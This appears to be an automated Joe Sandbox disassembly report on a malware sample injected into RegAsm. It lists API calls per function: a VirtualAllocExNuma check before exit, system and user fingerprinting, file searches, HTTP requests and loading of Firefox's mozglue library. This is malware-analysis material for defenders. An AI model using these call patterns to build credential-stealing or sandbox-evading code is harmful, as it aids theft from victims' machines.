RegQueryValueExA.KERNEL32(?,015027A0,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014FAA38,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,014FAA38,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,01503990), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,01503158,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414D53
ERROR, xrefs: 00414CFA

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,01502560), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,01503960), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 153043497-3392445751
Opcode ID: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6CA13060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA13095

Part of subcall function 6CA135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA9F688,00001000), ref: 6CA135D5
Part of subcall function 6CA135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA135E0
Part of subcall function 6CA135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA135FD
Part of subcall function 6CA135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA1363F
Part of subcall function 6CA135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA1369F
Part of subcall function 6CA135A0: __aulldiv.LIBCMT ref: 6CA136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA1309F

Part of subcall function 6CA35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA356EE,?,00000001), ref: 6CA35B85
Part of subcall function 6CA35B50: EnterCriticalSection.KERNEL32(6CA9F688,?,?,?,6CA356EE,?,00000001), ref: 6CA35B90
Part of subcall function 6CA35B50: LeaveCriticalSection.KERNEL32(6CA9F688,?,?,?,6CA356EE,?,00000001), ref: 6CA35BD8
Part of subcall function 6CA35B50: GetTickCount64.KERNEL32 ref: 6CA35BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA130BE

Part of subcall function 6CA130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA13127
Part of subcall function 6CA130F0: __aulldiv.LIBCMT ref: 6CA13140

Part of subcall function 6CA4AB2A: __onexit.LIBCMT ref: 6CA4AB30

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e5acd5ea0e63d2cbb6ce21dad510a074570eba486f8fc811a63b0f0748d59917
Instruction ID: d6e010cc3fc4ad85c6e90c9c07dd609f0ec556283f904296ad3350fe4b7fc4d0
Opcode Fuzzy Hash: e5acd5ea0e63d2cbb6ce21dad510a074570eba486f8fc811a63b0f0748d59917
Instruction Fuzzy Hash: 13F0D612D3078596CB14DF388D421EA7374AF6B114B50971DF98557511FF2061ED8391

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,01502900,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,01502900,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01502B70,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,01502920,00000000,?,00420DF4,00000000,?,00000000,00000000,?,01502D50,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,014FC630,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,015027A0,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01502CD8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01502CD8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

